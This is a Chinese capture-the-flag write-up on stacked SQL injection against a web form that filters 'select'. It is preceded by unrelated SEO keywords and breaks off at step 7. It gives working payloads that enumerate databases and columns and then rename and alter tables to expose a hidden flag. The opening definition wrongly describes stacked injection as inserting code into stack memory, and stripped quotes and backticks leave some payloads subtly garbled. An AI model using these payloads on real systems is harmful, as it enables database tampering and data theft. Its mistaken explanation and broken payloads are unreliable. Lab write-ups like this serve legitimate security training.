网站文章编辑器代码,如何做登陆界面的网站,网站浏览历史能恢复吗怎么设置,潍坊专科学校详解#xff1a;
堆叠注入#xff08;Stack Injection#xff09;是一种计算机安全概念#xff0c;涉及攻击者向程序的堆栈内存中插入恶意代码#xff0c;以便在程序执行期间执行非预期的操作。
堆栈注入攻击通常利用程序在处理函数调用时使用的堆栈机制。当一个函数被调…详解
堆叠注入Stack Injection是一种计算机安全概念涉及攻击者向程序的堆栈内存中插入恶意代码以便在程序执行期间执行非预期的操作。
堆栈注入攻击通常利用程序在处理函数调用时使用的堆栈机制。当一个函数被调用时程序将在堆栈中为其分配内存以保存局部变量和返回地址。攻击者可以找到并修改这些堆栈中的值将恶意代码插入到程序的执行流程中。
堆叠注入攻击通常需要攻击者对目标程序的运行环境和代码结构有一定的了解。攻击者可能需要了解目标程序的输入格式、函数调用方式和内存管理机制等方面的知识。
堆叠注入攻击具有很高的危害性因为攻击者可以在程序执行期间执行任意代码包括窃取敏感数据、破坏系统安全和破坏应用程序的正常运行。为了防止堆叠注入攻击可以采取以下措施
对输入数据进行验证和过滤确保输入符合预期格式并防止恶意代码注入。使用安全的编程技巧例如避免使用不安全的函数和避免将数据直接传递给系统调用。实施安全防护措施例如使用防火墙、入侵检测系统和安全扫描工具来检测和防御堆叠注入攻击。对代码进行安全审计和漏洞分析发现潜在的安全漏洞并进行修复。
测试
1.输入1测试一下 2.用1测试 有报错说明用闭合的闭合方式 同时可以确定有可能使用的是报错注入
3.select查询是否有过滤 发现过滤关键字/select|update|delete|drop|insert|where|\./i而且不区分大小写发现select被过滤联合查询布尔时间盲注报错注入都不能用只能使用堆叠注入
4.尝试使用堆叠注入查询数据库
1; show databases; # 5.查询表
1; show tables; #
5.存在两张表分别查询
1; show columns from words; #
1; show columns from 1919810931114514; # 注意这个符号是转义符,表明这里面的是数据库里面的内容 在1919810931114514表中发现flag字段。
找到flag字段之后怎么也查询不到flag字段中的数据select被过滤后面是参考大佬的做法
让程序中已经存在的select语法帮我们进行查询把words改名为其他191这个表改名为words,然后再添加id字段将flag字段改为data。
先将 words 改为别的名字 比如 words2 或者其他 然后将 1919810931114514 改为 words 把属性名flag改为id然后用1’ or 11;# 显示flag出来 在这之前当然要先把words表改名为其他。
直接构造payload
1;rename table words to word2;rename table 1919810931114514 to words;ALTER TABLE words ADD id int(10) DEFAULT 12;ALTER TABLE words CHANGE flag data VARCHAR(100); #6.表修改之后再次查询表 修改成功
7.直接查询字段